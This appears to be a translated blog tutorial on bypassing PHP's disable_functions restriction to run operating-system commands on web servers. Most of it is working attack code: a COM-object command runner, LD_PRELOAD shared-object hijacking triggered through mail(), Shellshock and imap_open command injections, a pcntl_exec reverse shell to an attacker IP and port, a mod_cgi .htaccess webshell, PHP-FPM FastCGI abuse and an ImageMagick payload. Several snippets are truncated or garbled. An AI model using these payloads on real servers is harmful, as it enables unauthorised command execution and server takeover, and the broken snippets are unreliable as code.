php disable_function bypass

bypass disable_functions

disable_functions is PHP Ini, which can be used to set the PHP environment to prohibit the use of some functions. Usually, the website administrator can disable some dangerous command execution functions for security reasons.
If you want to add it, it's in PHP Ini, separated by commas.

to configure

Open PHP Ini, search disable_function, add the following functions


Restart the web service and change the index PHP, view the output


It was found that the eval function was successfully executed, but disable_ Eval is indeed prohibited in function

Because eval is a language constructor, not a function, put it in disable_functions cannot be disabled. If you want to disable eval, you can use php's extension Suhosin

Basic bypass

Hazard function

  • exec
  • shell_exec
  • system
  • passthru
  • popen
  • proc_open
  • pcntl_exec


com component development


  • Open COM components (added by other versions of 5.4)

    • com_dotnet

Upload script

$command = $_GET['cmd'];
$wsh = new COM(''); // Generate a COM object shell Application can also
$exec = $wsh->exec("cmd /c".$command); //Call object methods to execute commands
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;


Environment variable LD_preload

Hijack getuid in sendmail


  • mail() function and error_ The log() function is not completely disabled

  • The sendmail command called by the function is already installed

    • centos is installed by default

  • ubantu is not installed by default

Basic principles

Through the environment variable LD_PRELOAD hijacks system functions to break through disable_functions restricts the execution of operating system commands.

LD_PRELOAD is the next interesting environment variable for Linux systems:

"It allows you to define the dynamic link library to be loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries.

So is like windows dll, which can be written, overwritten and then used by LD_preload to load so dll first

sendmail function dynamically calls many standard library functions during running

 readelf -Ws /usr/sbin/sendmail

The idea of constructing poc

  • Write a prototype for uid_t getuid(void); C function, which internally executes the code specified by the attacker and compiles it into the shared object evil so;
  • Run PHP function putenv() and set environment variable LD_PRELOAD is evil So, so that the shared object can be loaded first when a new process is started later;
  • Run the mail() function of PHP, and start the new process / usr/sbin/sendmail inside mail(). Due to the LD in the previous step_ In the role of preload, the system function getuid() called by sendmail is replaced by evil with better priority Hijacked by getuid() with the same name in so;

1. Prepare our own dynamic link program. The code is as follows (the function is to execute mkdir test). The command compiled into a dynamic shared library is as follows

gcc -shared -fPIC test.c -o

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int geteuid() {
        const char* cmdline = getenv("EVIL_CMDLINE");
        if (getenv("LD_PRELOAD") == NULL) { return 0; }

2. Use webshell to upload the compiled to the target server
3. Set LD through putenv_ Preload, let our program be called first. It is triggered by sending an email with the mail function on the webshell. The utilization code is as follows

    echo "<p> <b>example</b>: </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

Three parameters are accepted here

  • First, cmd parameter, system command to be executed
  • The second is the outpath parameter, which saves the file path of the command execution output result for easy display on the page. In addition, you should pay attention to whether the web has read-write permission, whether the web can be accessed across directories, and whether the file will be overwritten and deleted
  • The third is the sopath parameter, which specifies the absolute path of the shared object hijacking the system function.

Here, the LD is converted by putenv() function_ The preload environment variable is set to malicious test so

Add custom evil_ The CmdLine environment variable is assigned to the command to be executed;

Then call the mail() function to trigger sendmail(), and then trigger getuid() through sendmail() to make malicious test.. So is loaded and executed

Finally, output the content to the page and delete the file that temporarily stores the command execution results.

Hijack start process

GCC has a C language extension modifier__ attribute__((constructor)), the function modified by it can be executed before main(). If it appears in the shared object, it will be executed immediately once the shared object is loaded by the system

Attack utilization


#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';

    // executive command

Through LD_PRELOAD hijacks the behavior of starting the process. After hijacking, another new process is started. If the LD is not cancelled before the new process is started_ Preload, you will fall into an infinite loop, so you must delete the environment variable LD_PRELOAD. Therefore, environ is used to delete environment variables

Then compile the C file into a shared object file with the following statement:

gcc -shared -fPIC bypass_disablefunc.c -o

bypass_disablefunc.php, code and test PHP consistency:

    echo "<p> <b>example</b>: </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

Bash shell breaking (CVE-2014-6271)


  • Bash shell breaking (CVE-2014-6271) vulnerability exists in the target OS
    • The bash being attacked has a vulnerability (version less than or equal to 4.3)
    • An attacker can control environment variables
    • The new bash process is opened to trigger vulnerabilities and execute commands
  • The vulnerability exists in Bash version 1.14 - 4.3. The affected Linux systems include Red Hat Enterprise Linux (versions 4 ~7), Fedora distribution, CentOS (versions 5 ~7), Ubuntu 10.04 LTS,12.04 LTS, 14.04 LTS, Debian, etc
  • After the environment variable defined starting with () {is parsed into a function in the command ENV, Bash execution does not exit, but continues to parse and execute shell commands


env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
  1. The variable x defined in POC is () {:;}; echo vulnerable, which becomes a function, is related to the function definition in bash.
  2. After bash parses the function, it will continue to execute the following code because of parse_and_execute function.

If there is a vulnerability, it will echo:

 This is a test



function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   mail("a@","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
echo shellshock($_REQUEST["cmd"]); 

php can set environment variables through putenv, and popen() will be executed when the fifth parameter of mail function exists

If sh is bash by default, popen() will derive bash process. This function is not only mail, but also imap_mail, etc

imap expansion

It didn't work


  • Install imap extension for PHP
  • In PHP Open imap.ini enable_ insecure_ RSH option is On

Basic principles
Simply put, it's IMAP_ The open () function will call the rsh program, in which the execve system call will be called to call rsh. The email address parameter is determined by IMAP_ The mailbox parameter of the open() function is passed in. Meanwhile, since the rsh command is a symbolic link of the ssh command, we can execute the malicious command when we use the - oProxyCommand parameter of ssh to construct the malicious mailbox parameter.



First determine whether there is imap_open() function, then construct exp, execute the command input through external GET, then save the result to the local file, and finally output the content of the result file. Note that sleep(5) is to wait for IMAP_ After the open() function is executed, because DNS polling is required when the function is executed, there will be a delay:

if (!function_exists('imap_open')) {
        die("no imap_open function!");
$server = "x -oProxyCommand=echo$IFS$()" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64$IFS$()-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '')or die("\n\nError: ".imap_last_error());
echo file_get_contents("/tmp/cmd_result");

pcntl extension

The premise is that PHP has the pcntl plug-in installed and enabled.

The php installed by Ubuntu 18 apt does not have this extension by default. You need to manually download and compile the prerequisites

ubuntu compilation can refer to

Basic principles

The principle is relatively simple, that is, using pcntl_exec() is a proprietary command execution function of pcntl plug-in to execute system commands and Bypass the blacklist.

Bypass rebound shell

$ip = 'xx.xx.xx.xx';
$port = '7000';
$file = '/tmp/';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
$fp = fopen($file,'w');
$key = fputs($fp,$data);
if(!$key) exit('write in'.$file.'fail');
} else {
echo 'I won't support it pcntl extend';

tips: it is normal that the web page cannot work normally when requesting

Defense method

disable_ Add pcntl related functions to the blacklist of functions to disable

Memory vulnerability


  • Various memory vulnerabilities, pwn boss


  • Above php7

Apache mod Cgi


  • Linux operating system
  • Apache + PHP (apache uses apache_mod_php)
  • Apache has enabled cgi and rewrite
  • The Web directory gives AllowOverride permission
  • The current directory is writable


Apache can specify a directory with the ScriptAlias command after configuring to enable CGI, and the executable CGI program can be stored under the specified directory. If you want to temporarily allow a directory to execute CGI programs and make the server resolve the custom suffix to CGI program execution, you can configure it with htaccess file in the destination directory, as follows:

Options +ExecCGI AddHandler cgi-script .xxx 

This will save all the files in the current directory The xxx file is executed as a CGI program. Since CGI program can execute commands, we can use CGI to execute system commands to bypass disable_functions.

The environment here is complex, so we use ant sword labs to build it quickly

git clone
cd bypass_disable_functions/3
docker-compose up -d


Direct connection cannot be performed

It is also found that the target host Apache has enabled CGI and has write permission in the Web directory.

Let's first create in the current directory htaccess file, written as follows:

Options +ExecCGI
AddHandler cgi-script .ant

Then create a new shell Ant file, write the command to execute:

echo Content-type: text/html
echo ""

Access shell ant

One stop poc

$cmd = "ls /"; //command to be executed
$shellfile = "#!/bin/bashn"; //using a shellscript
$shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
    echo "$text: " . ($condition ? $yes : $no) . "<br>n";
if (!isset($_GET['checked']))
    @file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
        echo "Error. All of the above must be true for the script to work!"; //abort if not
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script

shell. Puzzle file, command $cmd


Service conditions:

  • The target uses the PHP FPM module

  • The process port of PHP FPM is exposed to the external network (generally 9000 ports)

  • Know the absolute path and name of a php script


FPM is the protocol parser of Fastcgi. The Web server uses CGI protocol to encapsulate the user's request and send it to who? In fact, it is sent to FPM. FPM parses TCP stream into real data according to CGI protocol.

Since FPM listens to port 9000 by default, we can bypass the Web server, directly construct Fastcgi protocol and communicate with FPM. Therefore, there is a posture of using Webshell to communicate directly with FPM to bypass disable functions.

Because we have understood the principle and content of the protocol, the next step is to use CGI protocol to encapsulate the request and communicate directly with FPM through Socket.

First limit

Since it is a request, SCRIPT_FILENAME is very important, because as mentioned earlier, fpm executes PHP files according to this value. If it does not exist, it will directly return 404. Therefore, if you want to take advantage of this vulnerability, you have to find an existing PHP file. Fortunately, when installing PHP from the source, the server will attach some PHP files, If we haven't collected the information of the target Web directory, we can try this method

Second limitation

Even if we can control SCRIPT_FILENAME, let fpm execute arbitrary files, which is only the files on the target server, but not the files we need to execute. How can we get around this restriction? We can start from PHP Ini. It has two special options that allow us to execute arbitrary commands, that is, auto_prepend_file and auto_append_file. auto_ prepend_ The function of file is to include the specified file before executing the target file. So it's interesting. Suppose we set auto_prepend_file is php://input , then it is equivalent to including the past content of POST before executing any PHP file. Therefore, we only need to put the code to be executed in the POST Body for remote file inclusion, so that arbitrary code can be executed.

Third limitation

Although we can execute arbitrary code through remote file inclusion, remote file inclusion has allow_ url_ If the include constraint is not ON, there is no way to include remote files. How do you set it? Here, PHP-FPM has two key-values that can set PHP configuration items, namely PHP_VALUE and PHP_ADMIN_VALUE,PHP_VALUE can be used to set PHP ini,PHP_ADMIN_VALUE can set all options except the disable_functions option, which solves the problem.

    'SCRIPT_FILENAME': '/var/www/html/name.php',
    'SCRIPT_NAME': '/name.php',
    'QUERY_STRING': '?name=alex',
    'REQUEST_URI': '/name.php?name=alex',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '',
    'REMOTE_PORT': '6666',
    'SERVER_ADDR': '',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'

Simply put, it is to skip the process of middleware allocation request and directly construct specific data packets to communicate with PHP FPM module


ImageMagick expansion

Failed to reproduce successfully


  • imagic(<= 3.3.0)

  • And because imagic corresponds to the php version, so


windows Download

Important: note whether the corresponding php version is ts or nts, x86 or x64
phpinfo() shall prevail here

Add expansion

  1. After extracting the above files, PHP_ imagick. Copy DLL to php/ext directory
  2. Modify PHP Ini plus extension=php_imagick.dll

Edit PHP INI file to make it load

​ 3. Put other DLLs in the php root directory

Installing ImageMagick

According to the information in phpinfo

ImageMagick 6.9.1-2 Q16 x64

Unable to find --, restart the computer after downloading

Use script

echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'whoami';

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url("|$command")'
pop graphic-context

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();

The ImageMagick corresponding to the old version cannot be found and has not been reproduced successfully


Make a simple classification and draw a conclusion

  1. The means of bypass under Windows is limited. We can only expect com expansion and imagic expansion to be started
    • And the expanded version of imagic has strict requirements
  2. Under Linux, the high version of php (7 +) can be directly used to kill memory vulnerabilities, so I didn't take a closer look at other high versions of bypass methods
    • The lower version is not afraid of many means
    • First, check the extension, such as pcntl,imap or Apache 2handler and fpm
    • If not, use the environment variable and finally try Bash to break the shell

Keywords: PHP security Web Security

Added by powelly on Thu, 03 Mar 2022 14:54:45 +0200